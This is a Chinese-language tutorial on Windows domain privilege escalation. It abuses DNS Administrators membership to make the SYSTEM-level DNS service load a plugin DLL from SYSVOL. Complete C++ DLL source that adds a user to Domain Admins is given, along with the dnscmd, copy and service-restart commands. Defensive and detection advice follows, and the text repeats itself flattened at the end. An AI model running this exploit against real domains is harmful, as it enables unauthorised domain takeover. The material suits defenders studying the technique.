域内一个特权提升技巧
字数 1060 2025-08-10 08:28:57

域内特权提升技巧:利用DNS Administrators组进行DLL注入

0x01 背景知识

在Windows域环境中,DNS服务器通常与域控制器(DC)部署在同一台服务器上。DNS服务管理基于RPC机制,通过调用c:\windows\system32\dns.exe创建RPC接口,并使用\PIPE\DNSSERVER命名管道进行通信。

关键点:

  • DNS服务默认以NT AUTHORITY\SYSTEM权限运行
  • DNS Administrators组成员可以远程配置DNS服务
  • DNS服务支持插件机制,允许加载自定义DLL

0x02 攻击原理

通过利用DNS Administrators组成员的权限,我们可以:

  1. 编写一个恶意DLL并放置在共享位置
  2. 配置DNS服务加载我们的DLL
  3. 当DNS服务重启时,DLL将以SYSTEM权限执行
  4. 在DLL中实现特权提升操作

0x03 详细攻击步骤

0x0301 准备恶意DLL

需要编写一个符合DNS插件规范的DLL,必须导出以下函数:

  • DnsPluginInitialize
  • DnsPluginCleanup
  • DnsPluginQuery

示例DLL代码(C++):

#include "pch.h"

DWORD WINAPI DnsPluginInitialize(PVOID a1, PVOID a2) { return 0; }
DWORD WINAPI DnsPluginCleanup() { return 0; }

DWORD WINAPI DnsPluginQuery(PVOID a1, PVOID a2, PVOID a3, PVOID a4) {
    WinExec("net group \"Domain Admins\" sixth-hospital /ADD /DOMAIN", SW_SHOWNORMAL);
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

还需要创建.def文件指定导出函数:

EXPORTS
DnsPluginInitialize
DnsPluginCleanup
DnsPluginQuery

编译后使用dumpbin /exports Dlldns.dll验证导出函数是否正确。

0x0302 执行特权提升

  1. 验证DNS Administrators组成员身份

    net user sixth-hospital /domain
    
  2. 将DLL复制到共享位置(如SYSVOL):

    copy Dlldns.dll \\WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts
    
  3. 验证目标服务器访问权限

    dir \\WIN-43QM2N9GRC4.hackhello.local\c$
    
  4. 配置DNS服务加载DLL

    dnscmd WIN-43QM2N9GRC4.hackhello.local /config /serverlevelplugindll \\WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts\Dlldns.dll
    
  5. 验证注册表配置

    reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters
    
  6. 重启DNS服务

    sc stop dns
    sc start dns
    
  7. 验证特权提升结果

    net user sixth-hospital /domain
    

0x04 防御措施

  1. 权限控制

    • 严格控制DNS Administrators组成员
    • 遵循最小权限原则
  2. 监控措施

    • 监控DNS服务配置变更
    • 监控注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters键值修改
  3. 技术防护

    • 限制SYSVOL目录的写入权限
    • 实施应用程序白名单
    • 监控异常DNS服务重启行为
  4. 检测方法

    • 定期检查DNS服务器加载的插件DLL
    • 监控异常进程创建行为(特别是由dns.exe创建的)

0x05 总结

这种攻击方式利用了DNS服务的高权限特性和插件机制,通过合法的配置接口实现了特权提升。防御的关键在于严格控制DNS Administrators组的成员资格,并加强对DNS服务配置变更的监控。

域内特权提升技巧:利用DNS Administrators组进行DLL注入 0x01 背景知识 在Windows域环境中,DNS服务器通常与域控制器(DC)部署在同一台服务器上。DNS服务管理基于RPC机制,通过调用 c:\windows\system32\dns.exe 创建RPC接口,并使用 \PIPE\DNSSERVER 命名管道进行通信。 关键点: DNS服务默认以 NT AUTHORITY\SYSTEM 权限运行 DNS Administrators组成员可以远程配置DNS服务 DNS服务支持插件机制,允许加载自定义DLL 0x02 攻击原理 通过利用DNS Administrators组成员的权限,我们可以: 编写一个恶意DLL并放置在共享位置 配置DNS服务加载我们的DLL 当DNS服务重启时,DLL将以SYSTEM权限执行 在DLL中实现特权提升操作 0x03 详细攻击步骤 0x0301 准备恶意DLL 需要编写一个符合DNS插件规范的DLL,必须导出以下函数: DnsPluginInitialize DnsPluginCleanup DnsPluginQuery 示例DLL代码(C++): 还需要创建 .def 文件指定导出函数: 编译后使用 dumpbin /exports Dlldns.dll 验证导出函数是否正确。 0x0302 执行特权提升 验证DNS Administrators组成员身份 : 将DLL复制到共享位置 (如SYSVOL): 验证目标服务器访问权限 : 配置DNS服务加载DLL : 验证注册表配置 : 重启DNS服务 : 验证特权提升结果 : 0x04 防御措施 权限控制 : 严格控制DNS Administrators组成员 遵循最小权限原则 监控措施 : 监控DNS服务配置变更 监控注册表中 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters 键值修改 技术防护 : 限制SYSVOL目录的写入权限 实施应用程序白名单 监控异常DNS服务重启行为 检测方法 : 定期检查DNS服务器加载的插件DLL 监控异常进程创建行为(特别是由dns.exe创建的) 0x05 总结 这种攻击方式利用了DNS服务的高权限特性和插件机制,通过合法的配置接口实现了特权提升。防御的关键在于严格控制DNS Administrators组的成员资格,并加强对DNS服务配置变更的监控。